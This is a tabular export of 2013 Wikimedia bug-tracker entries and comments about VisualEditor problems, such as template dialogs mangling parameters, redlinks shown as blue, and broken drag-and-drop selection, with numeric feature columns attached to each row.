+248392,VisualEditor: Template dialog crushing parameters together and nowiking links,Ditto - https://pl.wikipedia.org/w/index.php?title=Wikipedysta:Sir_Lothar/brudnopis2&diff=prev&oldid=37137604,,,1375808870,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+248384,VisualEditor: Template dialog crushing parameters together and nowiking links,"I don't think that this is just a problem with browser extensions misbehaving over links.  This edit:
+
+https://pl.wikipedia.org/w/index.php?title=Rory_MacDonald&curid=2849478&diff=37138750&oldid=36592431
+
+involves no links, and yet the data is still placed after a line break and smashed up against the following parameter, instead of up on the previous line where it belongs.",,,1375121749,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+248376,VisualEditor: Template dialog crushing parameters together and nowiking links,"Some broken browser extension sometimes adds lots of  <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">...</a> tags around items which is tracked by and edit filter. Attempting to clean these up with the VE worked well in the main text but failed in the templates changing
+
+{{Infobox company
+...
+| foundation     = [[1990 in <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)""><a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">video</a></a> gaming|1990]]
+| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013)0)"">Guitar</a></a> Hero|''Guitar Hero'' series]] (2007–2010) 
+...
+}}
+
+Into
+{{Infobox company
+|<nowiki>1990]]</nowiki>
+|''Guitar Hero''<nowiki> series]] (2007–2010) </nowiki>
+...
+| foundation     = <nowiki>[[1990 in video gaming</nowiki>
+| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013) Guitar Hero
+...
+}}
+splitting the foundation and product parameters.",,,1373361466,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+52991,VisualEditor: Template highlight is sometimes misplaced in the reference inspector,"There appears to be an elusive bug in the references editor where, when a reference contains a template, the blue highlight surrounding the template in the reference is sometimes misplaced outside the references editor and therefore not usable. 
+
+I've seen this myself a couple of times (in Chrome/Ubuntu), and it usually just stopped happening after a while and I'm not able to repro it now, so it may be some kind of timing issue. Robert Rohde also reported this today (July 8) and provided a screenshot of the bug here:
+
+https://upload.wikimedia.org/wikipedia/en/5/5f/Bad_Ref_Edit.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373330760,1373351191.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-yvxmfw4svpxfoy2mq3xe,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+246993,VisualEditor: Template highlight is sometimes misplaced in the reference inspector,"
+
+*** This bug has been marked as a duplicate of bug 50913 ***",,,1373351191,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yvxmfw4svpxfoy2mq3xe,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52986,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","1) Open an article such as
+https://en.wikipedia.org/wiki/Convex_function?veaction=edit
+2) Click in a non-linked word ""function""
+3) Click in the link button (CTRL+K)
+
+The list of matching pages will include the disambiguation page ""[[Function]]"", which should actually be avoided.
+
+Similarly, if a paragraph already has a link to [[Function]], then it should not appear in a second atempt to add the same link (or there should be some visual indication that this kind of link is not desirable - e.g. by having a section in the dropdown menu labeled ""Already used links..."")
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50160",Needs Triage,90.0,1373324220,1486157050.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-atyu2v5fwwehteymmmkf,task_description,duplicate,True,c1,3,False,False,False,1,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+246781,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","This is a duplicate of bug 50240; yes, this would be a nice enhancement to get done soon.
+
+*** This bug has been marked as a duplicate of bug 50240 ***",,,1373472822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246779,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)",See also gerrit change 70564.,,,1373469016,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+246776,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","PS: this was inspired by the commit message of
+https://gerrit.wikimedia.org/r/#/c/72646/",,,1373325997,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+52977,Selecting text does not work,"How to reproduce:
+* Go to https://www.mediawiki.org/wiki/Extension:TimedMediaHandler/Client_download?veaction=edit
+* Set the caret behind ""supported by the Timed Media Handler extension""
+* Try to drag and drop ""Support for Ogg Theora and WebM"" directy to where you have set the caret.
+
+Current behaviour:
+* Selecting not possible (Dropping mode starts immediately like if something is selected but the caret suggests that nothing was selected)
+
+Expected behaviour:
+* I can select ""Support for Ogg Theora and WebM""
+
+----
+You receive this bug's description kindly in English.
+Rainer Rillke
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1373316060,1377831826.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_description,resolved,True,c1,3,False,False,True,1,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+246291,Selecting text does not work,"Hey, sorry for the confusion; merging with bug 50643 which is about disabling Firefox's misleading interface.
+
+*** This bug has been marked as a duplicate of bug 50643 ***",,,1377831826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+246288,Selecting text does not work,Selecting text works at the page you provided but drag and drop does not work.,,,1373317925,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+246283,Selecting text does not work,"(In reply to comment #3)
+> try it on another page like
+Selecting text work at the page your provided but drag and drop does not work.
+----
+You receive this bug's description kindly in English.
+Rainer Rillke",,,1373317893,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+246277,Selecting text does not work,"(In reply to comment #3)
+I tried editing 2 pages on MediaWiki wiki so far and it did not work as I expected. If it can't deal with <translate> tags, it must be disabled on these pages. Thank you.",,,1373317502,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+246272,Selecting text does not work,"It seems related to the <translate> tag, try it on another page like https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet",,,1373316358,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+246269,Selecting text does not work,"As selecting text is a basic operation, bumping to a major issue.",,,1373316165,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+246265,Selecting text does not work,FF 22,,,1373316086,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52975,Please turn off VisualEditor as long as it doesn't work,"There are so many things that do not work, I suggest to test the software better before deploying. I will open a second ticket for a new recent issue.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373315640,1373363212.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_description,declined,True,c1,3,False,False,True,1,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+246148,Please turn off VisualEditor as long as it doesn't work,"> especially as you are not forced to use it.
+If a button (""Edit"") that previously did something else, now shows VE, it is ""forcing"" IMHO.
+
+I think VE will be a great tool but as with UploasWizard please understand the community is not a playground.",,,1373363951,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+246143,Please turn off VisualEditor as long as it doesn't work,"(In reply to comment #0)
+> There are so many things that do not work
+
+I cannot elaborate on the deployment schedule here, but I'm pretty sure that it's been explained on https://www.mediawiki.org/wiki/VisualEditor/Feedback recently, as you're not the only person with that impression. :)
+
+I suggest to test the software better before deploying.
+
+See above - testing has taken place for months.
+
+There are no plans to turn VE off currently, especially as you are not forced to use it.",,,1373363212,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+52974,Redlinks show up as bluelinks in VisualEditor mode,"If there is a link to an non-existent article or page it shows up in red when viewing a page.  When you click to edit with VisualEditor, the redlink shows up as blue which makes it appear that it is linking to a page that has already been created. 
+
+For example, in my sandbox I created a link to the non-existent page ""testinggg"" using [[testinggg]] in source.  After saving the page I returned to the sandbox and saw the link in red.  I clicked to edit the page with VisualEditor, and the link turned blue.  It should remain red if the page has not yet been created.  You can try this for yourself in my sandbox:
+
+https://en.wikipedia.org/wiki/User:Keegan_(WMF)/Sandbox
+
+This may be a Parsoid issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373314500,1373353929.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-bhshtaaxwx36iiznlkm2,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+246102,Redlinks show up as bluelinks in VisualEditor mode,"
+
+*** This bug has been marked as a duplicate of bug 37901 ***",,,1373353929,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bhshtaaxwx36iiznlkm2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52946,VisualEditor: line endings are not preserved when copying from a text file,"I tried to copy text from a plain text file (in the Kate editor). The line endings were not preserved and the whole text was copied as one big paragraph.
+
+You can see an example here:
+https://www.mediawiki.org/w/index.php?title=Language_portal/Definition_of_Done&oldid=726988
+
+It's the first version of a page that I created in the VisualEditor. I formatted the first few lines manually, but left the blob in the end as is.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373297700,1373851066.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-b3kpqkztod52q3bqpgcc,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+244363,VisualEditor: line endings are not preserved when copying from a text file,"This should be fixed up by the fixing of bug 33105.
+
+*** This bug has been marked as a duplicate of bug 33105 ***",,,1373851066,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b3kpqkztod52q3bqpgcc,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52915,context specific editor for templates?,"On English Wikipedia, it is stated that some common templates need a context specific editor. 
+
+Examples offered by (and with explanatory text by) User:Clem Rutter
+
+****
+
+*[[Template:convert]]
+([[Template:frac]]
+Those are simple- all we need is to display the parameters so they can be changed, when focus is lost they just display. For useability you could enter the the inline-template-editor by double clicking or ctrl-shift -click.
+
+*[[Template:fact]]
+*[[Template:cn]]
+These two are more complex as editors are there to change the *cn to a reference- of which the *sfn template is ideal. So here on a double-click, you need to change a *cn to a *sfn and enter the inline-template-editor to add the fields which are Name|Year|pp=page-lastpage. For a sfn, on leaving, you need an alert that offers to take you to the reflist to confirm or edit if that reference is missing.
+
+*[[Template:sfn]]
+Explained above.
+
+*[[Template:efn]]
+Simplicity- there is only one parameter. Though an alert may be needed if the Notes {*{notelist|notes=}*} structure is not in place.
+
+*[[Template:reflist]]-
+fiendishly complex from a programming pov but functionally simple- as the functionality we need is
+add a line in wiki code- I C&P common ones from a master list of commonly used texts in field that I keep in a subpage, or as a textfile on the desktop. An easy technique to teach when you are training at a museum or library as you can give your students the file on usbstick
+change some data- for instance an isbn number
+this can be achieved in a popup wikicode editor- or even gedit, vi, geaney, wordpad as no parsing is required.
+
+([[Template:infobox]]
+it is totally essential to just be able to change the content of a field visually. It is desirable to add new fields but this is of lower priority nigh essential, and this wont be achieved until the issue of recursive templates is resolved. (That rates as essential on my list.)
+
+
+I leave the list there for a Linus test, so if you could pass this on to your dev team and ask them to add these to the functional specification. Here is an example of a sample edit for them to try Swanley it keeps coming up on my watchlist:
+
+*first three references contain raw urls- probably could do with a *cite template her- not mentioned above
+*fix a *cn
+*change item in infobox
+*convert acres to hectares needed
+
+All of that could be easily achievable.-- Clem Rutter (talk) 18:20, 5 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373241540,1385381445.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-754mi2navz4pvonnspxh,task_description,declined,True,c1,3,False,False,False,0,,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+242508,context specific editor for templates?,"This is a WONTFIX; VisualEditor is not specific to the English Wikipedia, and it is neither appropriate nor sane to create specific dialogs for each of the thousands of templates on hundreds of wikis.",,,1385381445,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-754mi2navz4pvonnspxh,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+52909,VisualEditor: Template editor turns links into [[link|name]] in CE,"screenshot of CE after transclusion editor
+
+https://en.wikipedia.org/wiki/Luton?veaction=edit
+
+Edit the infobox template. Don't do anything, but apply changes. A lot of the blue links in the infobox are now rendered as black pipe code, for example [[List of towns in the United Kingdom|Town]] instead of Town.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11424}",Needs Triage,90.0,1373233920,1373354186.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-njvhn6axgtv4xkldtkx2,task_description,resolved,True,c1,3,True,False,True,0,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+242159,VisualEditor: Template editor turns links into [[link|name]] in CE,"
+
+*** This bug has been marked as a duplicate of bug 50801 ***",,,1373354186,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-njvhn6axgtv4xkldtkx2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52907,VisualEditor: The anchor for the template editor can easily become invisible,"Take a page with a reasonably sized infobox.
+Make your browser window 11"" size or something
+Scroll down a bit
+Click the infobox
+
+The infobox has become selected, but the anchor for the editor, being in the top right, is often out of view well under the toolbar. This leaves the user without a proper hint.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373233620,1375717235.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ovfsitu3qtht2esmfi2s,task_description,resolved,True,c1,3,True,False,True,0,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+242091,VisualEditor: The anchor for the template editor can easily become invisible,"@Chris, yes, they are the same.
+
+*** This bug has been marked as a duplicate of bug 49922 ***",,,1375717235,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ovfsitu3qtht2esmfi2s,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+242087,VisualEditor: The anchor for the template editor can easily become invisible,Is this the same as bug 49922?,,,1374487466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ovfsitu3qtht2esmfi2s,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+52903,VisualEditor: Save dialog behaves as partial modal,"In some respects the save dialog is partially modal, which is a strange and unfamiliar concept to some.
+
+The content is not editable, and partly blurred. Yet I can click links inside the content. The buttons in the toolbar have a functioning look, but don't actually work. Also, when clicking outside this dialog, I would expect it to dismiss, but it doesn't.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373232480,1377814666.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_description,resolved,True,c1,3,True,False,True,0,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+241906,VisualEditor: Save dialog behaves as partial modal,"This is an artefact of not being a ""proper"" dialog, which is bug 48566 - we hope to fix that in the next week or so. Sorry for the delay in triaging.
+
+*** This bug has been marked as a duplicate of bug 48566 ***",,,1377814666,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
